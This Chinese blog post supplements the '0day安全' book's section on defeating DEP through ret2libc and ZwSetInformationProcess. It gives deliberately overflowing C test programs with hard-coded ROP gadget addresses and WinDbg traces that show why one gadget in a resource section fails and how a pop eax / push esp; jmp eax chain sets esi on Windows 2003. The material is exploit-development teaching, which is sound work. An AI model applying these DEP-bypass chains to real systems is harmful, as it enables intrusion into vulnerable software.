天天看点

<Oday安全 12.3.1Ret2Libc实战之利用ZwSetInformationProcess>一节补充

    本文补充记录我在试验关闭DEP过程遇到的问题和解决方法。

1.首先要说一下用OllyFindAddr插件寻找目标指令时可能会遇到的问题。诚然这个插件是个好东西,能迅速列出需要的指令流的地址,但并不是所有在列的指令地址都可以使用,入选前需要仔细甄别。以关闭DEP保护流程中为抬高esp的值而使用"Find Pop Retn+n"功能为例:

<Oday安全 12.3.1Ret2Libc实战之利用ZwSetInformationProcess>一节补充

经过搜索,插件罗列了一堆备选指令地址。我挑选最后一个地址"0x7D97FE43"来实现抬高esp的目的。

<Oday安全 12.3.1Ret2Libc实战之利用ZwSetInformationProcess>一节补充

根据Memory map对话框显示的信息,被选的地址位于模块shell32.dll的资源节中。对于这样的地址,稍加思索就会猜想到当eip执行到资源节中会引发异常。当然这只是猜测,实际还是要验证一下。先修改shellcode,然后用windbg加载演示代码,会很明显的看到在执行retn 0x28后会触发访存失败:

#include <windows.h>

/*
\x52\xe2\x92\x7c->mov al,0x01;ret;
\x85\x8b\x1d\x5d->push esp;pop ebp;retn 04;
\x19\x4a\x97\x7c->retn 0x28是书中给出的地址<-------------
\x43\xfe\x97\x7d->retn 0x28是本文用于演示的地址<----------
\x13\x98\xd1\x7d->jmp esp
\x24\xcd\x93\x7c->关闭DEP
*/

char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"\
          "\x52\xe2\x92\x7c"\
          "\x85\x8b\x1d\x5d"\
          "\x43\xfe\x97\x7d"\
          "\x13\x98\xd1\x7d"\
          "\x24\xcd\x93\x7c"\
          "\x90\x90\x90\x90"};

int test()
{
  char arry[4] = {0};
  _asm int 3;
  strcpy(arry,shellcode);
  return 0;
}      

    你可能会问我为什么临时用windbg替换Od来演示这个例子?因为od遇到访存错误就直接进入进入第二轮异常分发的流程,不便于演示目的;而windbg停留在第一轮异常分发流程(等待用户输入)。下面是程序溢出后准备抬高esp而执行指令retn 28前的调试记录:

manualDep!test+0x2e:
0040102e c3              ret
0:000> t
7c92e252 b801000000      mov     eax,1 ;调整eax的值
0:000> t
7c92e257 c3              ret
0:000> t
5d1d8b85 54              push    esp ;调整ebp的值
0:000> t
5d1d8b86 5d              pop     ebp
0:000> t
5d1d8b87 c20400          ret     4 ;抬高esp<----执行完ret 4就会准备执行ret 28      

此时堆栈顶的内容----即执行ret 4时的返回地址为:0x7d97fe43,将该地址反汇编,得到指令ret 28h

0:000> r esp
esp=0012ff80
0:000> dd esp L4
0012ff80  7d97fe43 7dd19813 7c93cd24 90909090
0:000> u 7d97fe43  L1
shell32!_pRawDllMain <PERF> (shell32+0x3efe43):
7d97fe43 c22800          ret     28h      

单步执行指令触发了异常,shellcode执行失败。异常发生时eip的值为0x7d97fe43,这正是ollyFindAddr给出的并被我随意采用的地址。 

0:000> t
(32c.70): Access violation - code c0000005 (first chance) <--------访问内存异常
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=7ffde000 ecx=00406054 edx=00000000 esi=007efeb8 edi=00edf554
eip=7d97fe43 esp=0012ff88 ebp=0012ff80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
shell32!_pRawDllMain <PERF> (shell32+0x3efe43):
7d97fe43 c22800          ret     28h      

    由此证明,虽然od给出很多备选地址,但这些地址未必都是可用的。结论:挑选指令流的地址时要首选落在模块可执行节中的地址。

2.作者在结尾部分蜻蜓点水般的给出了在win2k3上关闭DEP的方法。不得不说作者实在太敷衍了,一行解释都没有,我硬生生的调了几天才明白背后的原理。请大家看我缓缓道来。为了缕清作者的思路和简化溢出的过程,我重写了一份简单的测试代码,直接将作者提到的用于修改esi的指令流写在测试代码中,免去用od搜寻地址的过程,如下(运行环境XpSp3+vc++6.0):

char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"\   //这8B是为了溢出main函数中的buf及栈中的ebp
    "\x2a\x10\x40\x00"\ //这4B是程序加载时标签Lab1的地址,用于覆盖main函数的返回地址
    "\x2c\x10\x40\x00"\ //这4B是标签Lab2的地址
    "\x2e\x10\x40\x00"}; //最后4B是标签Lab3的地址

int main()
{ 
  _asm jmp Lab4; //Lab1-Lab3只为全局变量shellcode提供修改esi寄存器值的指令地址,并不直接参与程序的运行,因此用jmp语句跳到Lab4运行
Lab1:
  __asm
  {
    pop eax;
    retn;
  }
Lab2:
  __asm
  {
    pop esi;
    retn;
  }
Lab3:
  __asm
  {
    push esp;
    jmp eax;
  }
  char buf[4] = {0};
Lab4: 
  memcpy(buf,shellcode,20); //shellcode中有0x00这样的字节,strcpy会截断字符串,所以替换为memcpy
}      

    代码注释中也写道main函数的返回地址被Lab1覆盖,这就不难想到执行ret前esp指向Lab1:

0:000> r eip,esp
eip=00401061 esp=0012ff84 ;返回前eip指向0x401061处ret指令

0:000> ub eip L5
00401054 83c444          add     esp,44h
00401057 3bec            cmp     ebp,esp
00401059 e862030000      call    pushjmp!_chkesp (004013c0)
0040105e 8be5            mov     esp,ebp
00401060 5d              pop     ebp
0:000> u eip L1
pushjmp!main+0x51 [C:\Documents and Settings\Administrator\桌面\studio\pushjmp\pushjmp.cpp @ 34]:
00401061 c3              ret      
0:000> dd esp L8 ;返回前esp指向的栈内存
0012ff84  0040102a 0040102c 0040102e 00430da0      

从0x12FF84开始的3个DWORD值是shellcode覆盖后的指令流地址,可以反汇编确认一下这串地址背后的指令:

0:000> u 0040102a  L2 ;第一个DWORD值对应程序中的Lab1
0040102a 58              pop     eax
0040102b c3              ret
0:000> u 0040102c L2 ;第二个DWORD值对应程序中的Lab2
0040102c 5e              pop     esi
0040102d c3              ret
0:000> u 0040102e L2 ;第三个DWORD值对应程序中的Lab3
0040102e 54              push    esp
0040102f ffe0            jmp     eax      

    现在我们已经清楚堆栈的分布,那就让我们在脑海中模拟一下程序执行的流程:

执行0x401061处的ret指令---->栈顶0x12ff84保存的值为0x40102a。导致eip=0x40102a准备执行pop eax;ret指令流;同时栈指针esp指向0x12ff88:

0:000> t
0040102a 58              pop     eax

0:000> r eip,esp
eip=0040102a esp=0012ff88      

pop eax---->从0x12ff88中取值传给eax,eax=0x40102c(此刻eax中保存了pop esi;ret指令流的地址),同时设置esp=0x12ff8c使得下面的ret指令从内存0x12ff8c中取返回地址,大家往前看看内存0x12ff8c处存放了哪条指令流的地址?对,就是Lab3后面的指令流!所以,请不要小看这条平淡的pop eax指令,它不仅把Lab2处的指令流地址传给寄存器eax,它还使程序在执行ret后跳过Lab2处的指令直接返回到0x40102e处执行Lab3处的指令。堪称神奇的一跳。

0:000> t ;单步执行pop eax
eax=0040102c ;请先记住eax的值,后面马上用到
0040102b c3              ret
0:000> r eax
eax=0040102c
0:000> r esp
esp=0012ff8c
0:000> u poi(esp) L2 ;反汇编栈顶指令,这是ret后的返回地址
0040102e 54              push    esp
0040102f ffe0            jmp     eax
0:000> t ;再次单步执行ret,程序如约进入Lab3
0040102e 54              push    esp      

    push esp的目的是为了讲堆栈指正赋给即将执行的pop esi使得esi指向可读写的内存。慢着,大家是否觉得我遗漏了什么?前面pop esi并没有被执行到,shellcode中其他再没有安排pop esp,怎么才能做到将esp的值赋给esi?请稍安勿躁接着看:

0:000> t
0040102e 54              push    esp
0:000> t
0040102f ffe0            jmp     eax {pushjmp!main+0x1c (0040102c)}
0:000> r eax ;执行jmp eax前看看eax保存的值及对应的汇编指令
eax=0040102c
0:000> u eax L2
0040102c 5e              pop     esi
0040102d c3              ret      

啊,eax保存了程序中Lab2处的指令,这不就是从main函数ret时遇到的那个神奇的pop?这神奇的pop eax暂时冻结Lab2处代码的执行并保存到eax中,让eip先执行Lab3处的代码,然后解冻并从eax中迂回跳跃到Lab2中执行,太伟大了!

0:000> r esp,esi
esp=0012ff8c esi=007e8c4c
0:000> t
eax=0040102c esi=007e8c4c
eip=0040102c esp=0012ff8c
pushjmp!main+0x1c:
0040102c 5e              pop     esi
0:000> t
eax=0040102c esi=0012ff90
eip=0040102d esp=0012ff90
0040102d c3              ret
0:000> r esp,esi
esp=0012ff90 esi=0012ff90      

   最终shellcode成功的将esi修改为esp的值,使得esi指向的内存可读写。

继续阅读